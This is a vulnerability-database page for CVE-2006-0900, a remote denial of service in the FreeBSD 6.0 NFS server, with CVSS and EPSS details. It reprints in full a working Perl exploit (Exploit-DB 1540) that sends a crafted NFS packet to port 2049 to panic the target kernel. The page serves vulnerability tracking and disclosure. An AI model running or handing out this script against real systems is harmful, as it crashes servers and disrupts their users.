CVE-2006-0900 : Detail

CVE-2006-0900

96.25%V3
Network
2006-02-27
18h00 +00:00
2017-07-19
13h57 +00:00
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CVE Descriptions

nfsd in FreeBSD 6.0 kernel allows remote attackers to cause a denial of service via a crafted NFS mount request, as demonstrated by the ProtoVer NFS test suite.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 1540

Publication date : 2006-02-27 23h00 +00:00
Author : Evgeny Legerov
EDB Verified : Yes

#!/usr/bin/perl ## Saw an advisory on Dailydave and wrote a little script to ## check my freebsd boxes (kind of evil). /str0ke (milw0rm.com) ## ## ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel. ## Evgeny Legerov ## www.gleg.net use IO::Socket; sub usage { print "FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit\n"; print "Advisory from Evgeny Legerov (www.gleg.net)\n"; print "Code by str0ke (milw0rm.com)\n"; print "Usage: $0 www.example.com\n"; exit (); } my $host = shift || &usage; my $printer = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" . "\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x01" . "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" . "\x2f\x74\x6d\x70"; $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "2049") || die "\n+ Connection failed...\n"; print $socket $printer . "\n"; # milw0rm.com [2006-02-28]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 6.0

References

http://www.osvdb.org/23511
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/16838
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/19017
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/521
Tags : third-party-advisory, x_refsource_SREASON